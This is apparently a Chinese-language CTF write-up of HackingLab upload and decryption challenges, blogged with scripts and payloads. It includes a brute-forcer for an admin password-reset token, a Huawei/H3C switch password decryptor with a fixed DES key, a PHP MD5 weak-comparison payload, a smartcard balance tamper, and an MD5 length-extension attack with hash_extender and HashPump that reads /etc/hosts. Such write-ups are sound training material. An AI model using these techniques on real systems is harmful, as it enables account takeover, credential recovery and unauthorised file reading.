HackingLab 上傳、解密關writeup

上傳關

三道題用 burp 抓包,該後綴名可破。。。好像有點太簡單了?

解密關

以管理員身份登錄系統

以管理員身份登錄即可獲取通關密碼(重置即可,無需登錄)

通關地址

補充說明:假設除了admin用戶,其它用戶的郵箱都可被登錄獲取重置密碼的鏈接。

這題還有點難,仔細研究一下吧。

隨便用 admin1 賬號重置密碼兩次,看到兩個加密後的 sukey 值,md5 解密一下。

db37222b8b6f9bb9af5a4281963bb30b 1469516744n26361758d70db01f45ba8b5224090b12 1469516764n

妹的,cmd5 還收費,做個題還花了兩毛錢。。。

從解密結果看著像是時間戳,列印一下當前的時間戳得到:

In [2]: print time.time()n1469517486.53n

可以確定是用時間戳進行 md5 加密了,這樣就可以用腳本跑。

# coding=utf-8nimport requestsnimport hashlibnimport timennse = requests.session()nheaders = {Cookie: PHPSESSID=ec60a3853e6a7dbe3ed54558f05c23a7}nnwhile 1:n sukey = hashlib.new(md5, str(int(time.time()))).hexdigest()n url = http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey= + sukey + &username=adminn r = se.get(url, headers=headers)n time.sleep(0.5)n if r.content:n print r.contentn breakn else:n print Cracking: + sukeyn

跑了幾分鐘後拿到 flag。

邂逅對門的妹紙

小明想要認識對門的漂亮妹紙,但又不好意思直接去敲門,但是小明知道妹紙今年(2014年)上大三(提交wifi密碼的md5 32位小寫)

Wifi-Crack

2014 年上大三,出生應該在 1993 或 1994 年,看這樣子密碼應該是 8 位數字了,用 EWSA 爆破即可。

萬惡的Cisco

小明入侵了某企業內網,成功的從一管理員電腦獲取了某型號交換機running-config文件,發現以下密碼

02070D48030F1C294940041801181C0C140D0A0A20253A3B

請你幫他破解該密碼。

網上搜一搜,找到一處在線破解,直接拿到 flag。

aishishenmadongxi@Adminn

萬惡的加密

這次小明通過某漏洞獲取到了某huawei/h3c交換機的加密密碼,請你幫他破解。

aK9Q4I)J』#[Q=^Q`MAF4<1!!

提示華為的交換機,谷歌搜一下,看到一篇文章,可惜 Windows 下跑不了這個腳本,放到 Kali 下,成功拿到 flag。

# coding=utf-8nfrom Crypto.Cipher import DESnndef decode_char(c):n if c == a:n r = ?n else:n r = cn return ord(r) - ord(!)nndef ascii_to_binary(s):n assert len(s) == 24n out = [0]*18n i = 0n j = 0nn for i in range(0, len(s), 4):n y = decode_char(s[i + 0])n y = (y << 6) & 0xffffffn k = decode_char(s[i + 1])nn y = (y | k) & 0xffffffn y = (y << 6) & 0xffffffn k = decode_char(s[i + 2])nn y = (y | k) & 0xffffffn y = (y << 6) & 0xffffffn k = decode_char(s[i + 3])n y = (y | k) & 0xffffffnn out[j+2] = chr(y & 0xff)n out[j+1] = chr((y>>8) & 0xff)n out[j+0] = chr((y>>16) & 0xff)nn j += 3n return "".join(out)nndef decrypt_password(p):n r = ascii_to_binary(p)n r = r[:16]n d = DES.new("x01x02x03x04x05x06x07x08", DES.MODE_ECB)n r = d.decrypt(r)n return r.rstrip("x00")nnif __name__ == __main__:n miwen = "aK9Q4I)J#[Q=^Q`MAF4<1!!"n print u明文 + decrypt_password(miwen)n

喜歡泡網吧的小明

小明特別喜歡泡網吧,而這個月小明拿到了他第一個月的薪水,於是這次到了他平時最常去的網吧充了100元辦理了一張會員卡,於是乎小明再也不用花錢上網了。

通關地址

winhex 打開 dump 文件,看到 70 以後的都是重複數據,應該沒什麼用,第一行數據混亂,看不出是什麼東西,抹成 0 上傳一下試試。

顯示餘額 100 塊,100 轉為 16 進位是 64,數據里並沒有這樣的地方,仔細觀察,分別轉換幾處不一樣的數據,發現 2710 轉換為十進位是 10000,原來是考慮了兩位小數。。。那麼把兩處 2710 改為4e20 再試試。

key is cardcrack_skill_get!n

異常數據

小明今天去妹紙家開Party,而妹紙卻給他出了一個謎語,說只要他能答出來,她就會答應小明一個要求.

這是妹紙給小明的謎語序列:AGV5IULSB3ZLVSE=

Tips:key就是解密結果

一看這個密碼就知道是 base64 了,但應該沒這麼簡單,果然解出來是亂碼,再看下密文,全是大寫,可能是處理過,一共 13 個字母,大小寫變化就一共有 8192 種變化。。。好多,只能寫個腳本慢慢跑了。

# coding=utf-8nfrom base64 import *nimport renndef dfs(res, arr, pos):n res.append(.join(arr))n i = posn for i in range(i, len(arr)):n if arr[i] <= Z and arr[i] >= A:n arr[i] = arr[i].lower()n dfs(res, arr, i + 1)n arr[i] = arr[i].upper()nnarr = list(AGV5IULSB3ZLVSE=)nres = []nndfs(res, arr, 0)nnres_decode = map(b64decode, res)nnfor i in res_decode:n if re.findall(rx, repr(i)): # 使用 repr 防止轉義 n continuen else:n print in

跑出 flag。

md5真的能碰撞嘛?

md5真的能碰撞嘛?其實有時候我們不需要進行碰撞得到完全一致的MD5

通關地址

點開連接,查看源碼,有一個 txt 文件。

<?phpn$flag=FLAG;nif(isset($_POST["password"])){nt$password=$_POST[password];n $rootadmin="!1793422703!";n if($password==$rootadmin){die("Please do not attack admin account!");}nn if(md5($password)==md5($rootadmin)){n echo $flag;n }else{n die("Password Error!");n }n}n?>n

源碼中 md5($rootadmin) 的值為 0e332932043729729062996282883873 ,想到了 PHP 的== 弱類型漏洞,參考文章。

那麼直接 POST 提交 payload 即可。

password=240610708n

小明愛上了一個搞硬體的小姑涼

小明愛上了一個搞嵌入式開發的小姑涼,於是特別想通過一種與眾不同的方式向她表白,於是他在她的電腦桌面放了一個文件.

數據下載

Tips: 該文件為某邏輯分析儀抓包數據,請分析其中的內容,過關密鑰為抓包數據內容的小寫.

我都不想吐槽了,小明怎麼老愛上這麼稀奇古怪的姑娘。。。

WinHex 打開,末尾有一段數據是正常的字元串。

Async Serial j22 serialization::archive 10 25 SaleaeAsyncSerialAnalyzer

可以看出,設備的名字就叫 Saleae Async Serial Analyzer 。

網上搜一下,原來還真有這設備。。。我以為是胡亂寫的,看看官網的說明書吧,官網給的這軟體還挺大。。。安裝好以後直接打開下載的數據,右下角就出現了解碼後的 flag。

iloveyou,xiaoguniang!n

有簽名限制的讀取任意文件

我們一直認為,只要消息簽名了,salt不泄露且無法猜解到,即便是演算法使用公開的加密演算法,那麼黑客也無法篡改信息.可是真的是這樣嘛?

通關地址

Tips: MD5 Length Extension Attack!

Tips: 除已經告知的/etc/hosts文件外,若能讀取到任意系統文件即可獲取Flag.

Info: 增加密鑰長度為32位

看到第一條 tip 我就想到了之前做過的一道題,參見之前的 writeup,攻擊原理可以看這篇文章。

右鍵源代碼可以看到源碼。

<?phpnheader("Content-type:text/html;charset=utf-8");ninclude "_flag.php";ninclude "salt.php";nnn$mysalt=SALT;nnif(isset($_GET[filepath])&&!empty($_GET[filepath]) &&isset($_GET[sign]) &&!empty($_GET[sign])){ntmyreadfile($_GET[filepath],$mysalt,$_GET[sign]);nn}nelse{nt//降低一點複雜度ntvar_dump(strlen($mysalt));nttestsign("/etc/hosts",$mysalt);n}nnnfunction myhash($message,$mysalt){nttreturn md5($mysalt.$message);n}nfunction checksign($message,$mysalt,$sign){n if($sign==myhash($message,$mysalt)){n treturn True;n }else{n treturn False;n }n}nfunction myreadfile($filepath,$mysalt,$sign){nt$res=checksign($filepath,$mysalt,$sign);n if($res){n techo getfile($filepath);n }n else{n techo sign error!;n }n}nfunction testsign($filepath,$mysalt){ntecho myhash($filepath,$mysalt);n}nnnecho "<!--".file_get_contents(__FILE__);n

利用 hash_extender 或是 HashPump 進行攻擊。

# hash_extendernchen@vmware:~/桌面/hash_extender$ ./hash_extender -f md5 -l 32 -d /etc/hosts -s f3d366138601b5afefbd4fc15731692e -a --out-data-format=htmlnType: md5nSecret length: 32nNew signature: 1b17d9594eb404c97c5090b11660ac63nNew string: %2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00nn# HashPumpn╭─root@kali ~/Desktop/HashPump ?master*? n╰─$ hashpump -s f3d366138601b5afefbd4fc15731692e -d /etc/hosts -k 32 -a /etc/hosts n75221e2e5cd1cd1c7694cbd386571ffen/etc/hostsx80x00x00x00x00x00x00x00x00x00x00x00x00x00Px01x00x00x00x00x00x00/etc/hostsn

可以看到兩個工具都可以得到 payload,但是 HashPump 必須加上 add 的內容,否則不能生成,且 payload 還需要手工轉換成 URL 編碼才可以,從這一點上看 hash_extender 更勝一籌,但在 Kali 下,hash_extender 編譯不通過,我只能裝了個 Ubuntu 才弄好。不過 HashPump 也需要安裝 libssl-dev 包才行。

最終的 payload:

http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00%2fetc%2fhosts&sign=75221e2e5cd1cd1c7694cbd386571ffen

推薦閱讀:

信息安全中pwn到底能用來幹什麼?
打CTF比賽,對以後有什麼幫助嗎?含金量高嗎?
如何評價今年的0CTF?
國際國內良心的ctf比賽?
世界範圍內知名的 CTF 競賽有哪些?各有何不同?

TAG:CTFCaptureTheFlag | 黑客Hacker | 信息安全 |